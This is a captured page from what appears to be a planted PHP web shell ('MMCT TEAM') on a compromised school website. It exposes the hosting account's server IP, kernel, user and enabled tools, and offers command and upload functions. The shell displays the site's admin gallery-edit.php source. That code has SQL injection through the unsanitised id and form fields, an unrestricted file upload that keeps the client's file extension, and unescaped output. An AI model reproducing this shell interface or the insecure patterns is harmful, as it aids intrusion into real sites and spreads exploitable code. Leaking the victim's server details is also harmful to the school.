MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.145.32.50
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/svschool.in/public_html/adminweb/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/svschool.in/public_html/adminweb/gallery-edit.php
<?php  
$id=0;
if(isset($_GET['id']))
{
	$page_title = 'Edit Gallery';
	include 'header.php';
	$id = $_GET['id'];
	$section="";
	$sel=mysqli_query($con,"select * from gallery where id=$id");
	while($row_gallery=mysqli_fetch_array($sel))
	{
		$section=$row_gallery['section'];
		?>
		<div class="content-wrapper">
			<section class="content mt-4">
				<div class="container-fluid">
					<div class="row">
						<div class="col-md-12">
							<?php include('alert-msg.php'); ?>
							<div class="card card-primary">
								<div class="card-header">
									<h3 class="card-title"><?php echo $page_title; ?></h3>
								</div>
								<form action="" method="POST" enctype="multipart/form-data">
									<div class="card-body">
										<div class="row">
											<div class="col-md-4">
												<div class="form-group">
													<label>Category</label>
													<input type="text" class="form-control" autocomplete="off" name="category" list="category" value="<?php echo $row_gallery['category']; ?>" required />
													<datalist id="category">
														<?php 
														$sql_cat=mysqli_query($con,"select DISTINCT category from gallery where category!='' order by id desc");
														while($row_cat=mysqli_fetch_array($sql_cat))
														{
															?>
															<option value="<?php echo $row_cat['category']; ?>">
																<?php
															}
															?>
														</datalist>
													</div>
												</div>
												<div class="col-md-4">
													<div class="form-group">
														<label>Title</label>
														<input type="text" class="form-control" name="title" value="<?php echo $row_gallery['title']; ?>" required />
													</div>
												</div>
												<div class="col-md-4">
													<div class="form-group">
														<label>Section</label>
														<select class="form-control" name="section" required onchange="ViewControl(this);">
															<option <?php echo $row_gallery['section']=='Staff' ? 'selected' : ''; ?>>Gallery</option>
															<option <?php echo $row_gallery['section']=='PDF' ? 'selected' : ''; ?>>PDF</option>
															<option <?php echo $row_gallery['section']=='Video' ? 'selected' : ''; ?>>Video</option>
														</select>
													</div>
												</div>
											</div>
											<div class="row">
												<div class="col-md-8">
													<div class="form-group">
														<label for="exampleInputFile">Gallery File</label>
														<div class="input-group  for-image-upload" style="display: <?php echo $row_gallery['section']=='Video' ? 'none' : 'flex'; ?>">
															<div class="custom-file">
																<input type="file" class="custom-file-input fileUpload_allow_gen" name="gallery_photo" id="exampleInputFile">
																<label class="custom-file-label" for="exampleInputFile">Choose file</label>
															</div>
														</div>
														<div class="input-group  for-video-upload" style="display: <?php echo $row_gallery['section']!='Video' ? 'none' : 'flex'; ?>">
															<input type="url" class="form-control" name="video_file" <?php if($row_gallery['section']=='Video') { ?> value="<?php echo $row_gallery['photo']; ?>" <?php } ?> />
														</div>
													</div>
												</div>
												<div class="col-md-4">
													<?php 
													if($row_gallery['section']=='PDF')
													{
														?>
														<div class="form-group">
															<label style="width:100%;">&nbsp;</label>
															<a href="<?php echo $row_gallery['photo']; ?>" target="_blank"><i class="fas fa-file-pdf fa-3x"></i></a>
														</div>
														<?php
													}
													else if($row_gallery['section']=='Video')
													{
														?>
														<div class="form-group">
															<label style="width:100%;">&nbsp;</label>
															<a href="<?php echo $row_gallery['photo']; ?>" target="_blank"><i class="fas fa-video fa-3x"></i></a>
														</div>
														<?php	
													}
													else
													{
														?>
														<img src="<?php echo $row_gallery['photo']; ?>" style="width:150px;" />
														<?php	
													}
													?>
												</div>
											</div>
											<button type="submit" class="btn btn-primary" name="btnSubmit">Submit</button>
										</div>
									</form>
								</div>
							</div>
						</div>
					</div>
				</section>
			</div>
			<?php
		}
		?>
		<?php include 'footer.php'; ?>
		<script type="text/javascript">
			function ViewControl(e)
			{
				if(e.value=="Video")
				{
					$(".for-image-upload").hide();
					$(".for-video-upload").show();
				}
				else
				{
					$(".for-image-upload").show();
					$(".for-video-upload").hide();
				}
			}
		</script>
		<?php
	}
	else
	{
		session_start();
		$_SESSION['error_msg'] = 'Something wrong...';
		echo"<script>window.location='gallery-list.php';</script>";
	}
	?>


	<?php
	if(isset($_POST['btnSubmit']))
	{
		$category = $_POST['category'];
		$title = $_POST['title'];
		$section = $_POST['section'];

		if($_FILES["gallery_photo"]["name"]!="")
		{
			$fileinfo=PATHINFO($_FILES["gallery_photo"]["name"]);
			$newFilename="gallery__". time()."." .$fileinfo['extension'];
			$location="uploads/gallery/" . $newFilename;	

			$upd = mysqli_query($con,"UPDATE `gallery`  SET category='$category', title='$title',  section='$section', photo='$location' WHERE id=$id");

			if($upd)
			{
				move_uploaded_file($_FILES["gallery_photo"]["tmp_name"],$location);
				$_SESSION['success_msg'] = 'Gallery has been updated...';
				echo"<script>window.location='gallery-list.php';</script>";
			}
			else
			{
				$_SESSION['error_msg'] = 'Unable to update Gallery...';
				echo"<script>window.location='gallery-list.php';</script>";
			}
		}
		else
		{
			if($section=="Video")
			{
				$location=$_POST['video_file'];
				$upd = mysqli_query($con,"UPDATE `gallery`  SET  category='$category', title='$title',  section='$section', photo='$location' WHERE id=$id");
			}
			else
			{
				$upd = mysqli_query($con,"UPDATE `gallery`  SET  category='$category', title='$title',  section='$section' WHERE id=$id");
			}

			if($upd)
			{
				$_SESSION['success_msg'] = 'Gallery has been updated...';
				echo"<script>window.location='gallery-list.php';</script>";
			}
			else
			{
				$_SESSION['error_msg'] = 'Unable to update Gallery...';
				echo"<script>window.location='gallery-list.php';</script>";
			}
		}
	}
?>

MMCT - 2023